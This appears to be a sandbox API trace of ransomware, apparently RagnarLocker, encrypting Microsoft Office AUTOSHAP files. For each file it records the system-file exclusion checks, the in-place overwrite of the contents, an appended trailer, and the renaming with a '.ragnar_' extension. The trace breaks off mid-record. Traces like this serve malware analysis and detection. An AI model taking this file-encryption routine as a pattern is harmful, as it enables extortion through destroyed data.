FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0096.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.698] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18225_.WMF" | out: lpString1="BD18225_.WMF") returned="BD18225_.WMF" [0096.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF") returned=".WMF" [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="autorun.inf") returned 1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="boot.ini") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="bootfont.bin") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="bootsect.bak") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="bootmgr") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="bootmgr.efi") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="desktop.ini") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="iconcache.db") returned -1 [0096.698] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="ntldr") returned -1 [0096.699] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="ntuser.dat") returned -1 [0096.699] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.699] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="ntuser.ini") returned -1 [0096.699] lstrcmpiW (lpString1="BD18225_.WMF", lpString2="thumbs.db") returned -1 [0096.699] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.699] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.699] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.699] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.699] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.699] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.699] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf")) returned 0x20 [0096.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.700] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3344) returned 1 [0096.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.700] GetProcessHeap () returned 0x580000 [0096.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.700] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.701] VirtualAlloc (lpAddress=0x0, dwSize=0xd10, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.702] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd10, lpOverlapped=0x0) returned 1 [0096.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.702] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd10, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.702] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd10, lpOverlapped=0x0) returned 1 [0096.702] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.702] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.702] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.702] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.702] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.702] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.703] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.703] GetProcessHeap () returned 0x580000 [0096.703] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.703] CloseHandle (hObject=0xf4) returned 1 [0096.703] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" [0096.703] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.ragnar_FD7BD9FC" [0096.703] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.703] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0096.703] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.703] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18226_.WMF" | out: lpString1="BD18226_.WMF") returned="BD18226_.WMF" [0096.704] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF") returned=".WMF" [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="autorun.inf") returned 1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="boot.ini") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="bootfont.bin") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="bootsect.bak") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="bootmgr") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="bootmgr.efi") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="desktop.ini") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="iconcache.db") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="ntldr") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="ntuser.dat") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="ntuser.ini") returned -1 [0096.704] lstrcmpiW (lpString1="BD18226_.WMF", lpString2="thumbs.db") returned -1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf")) returned 0x20 [0096.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.705] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1972) returned 1 [0096.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.705] GetProcessHeap () returned 0x580000 [0096.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.705] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.707] VirtualAlloc (lpAddress=0x0, dwSize=0x7b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.707] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7b4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7b4, lpOverlapped=0x0) returned 1 [0096.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.707] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.707] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7b4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7b4, lpOverlapped=0x0) returned 1 [0096.707] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.707] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.707] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.707] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.708] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.708] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.708] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.708] GetProcessHeap () returned 0x580000 [0096.708] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.708] CloseHandle (hObject=0xf4) returned 1 [0096.708] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" [0096.708] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.ragnar_FD7BD9FC" [0096.708] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.709] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0096.709] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.709] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18227_.WMF" | out: lpString1="BD18227_.WMF") returned="BD18227_.WMF" [0096.709] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF") returned=".WMF" [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="autorun.inf") returned 1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="boot.ini") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="bootfont.bin") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="bootsect.bak") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="bootmgr") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="bootmgr.efi") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="desktop.ini") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="iconcache.db") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="ntldr") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="ntuser.dat") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="ntuser.ini") returned -1 [0096.709] lstrcmpiW (lpString1="BD18227_.WMF", lpString2="thumbs.db") returned -1 [0096.709] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.709] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.709] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.709] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.709] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.709] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.709] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf")) returned 0x20 [0096.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.710] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3564) returned 1 [0096.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xde3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.710] GetProcessHeap () returned 0x580000 [0096.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.710] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.713] VirtualAlloc (lpAddress=0x0, dwSize=0xdec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.713] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xdec, lpOverlapped=0x0) returned 1 [0096.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.713] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdec, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.714] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdec, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xdec, lpOverlapped=0x0) returned 1 [0096.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.714] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.714] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.714] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.714] GetProcessHeap () returned 0x580000 [0096.714] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.714] CloseHandle (hObject=0xf4) returned 1 [0096.714] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" [0096.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.ragnar_FD7BD9FC" [0096.714] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.715] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, 